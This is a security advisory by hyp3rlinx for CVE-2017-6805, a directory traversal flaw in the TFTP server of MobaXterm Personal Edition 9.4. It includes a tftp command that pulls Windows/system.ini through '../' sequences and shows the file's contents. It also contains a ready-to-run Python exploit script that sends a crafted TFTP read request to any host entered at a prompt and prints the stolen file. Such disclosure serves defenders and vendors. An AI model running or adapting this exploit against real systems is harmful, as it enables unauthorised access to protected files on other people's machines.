MobaXterm Personal Edition 9.4 - Directory Traversal

[+] Credits: John Page AKA hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
[+] ISR: ApparitionSec            
 


Vendor:
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mobaxterm.mobatek.net



Product:
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MobaXterm Personal Edition v9.4

Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.



Vulnerability Type:
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Path Traversal Remote File Disclosure




CVE Reference:
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CVE-2017-6805



Security Issue:
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Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using
directory traversal attacks e.g.  ../../../../Windows/system.ini

Start MobaXterm TFTP server which listens on default TFTP port 69.

c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s

c:\xampp\htdocs>type system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]

Victim Data located on: 127.0.0.1



POC URL:
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https://vimeo.com/207516364




Exploit:
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import sys,socket

print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'

HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                                #TFTP Read 
PAYLOAD += "../" * 4 + FILE + "\x00"                #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"                           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
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Remote



Severity:
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High



Disclosure Timeline:
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Vendor Notification: No Reply
March 10, 2017  : Public Disclosure



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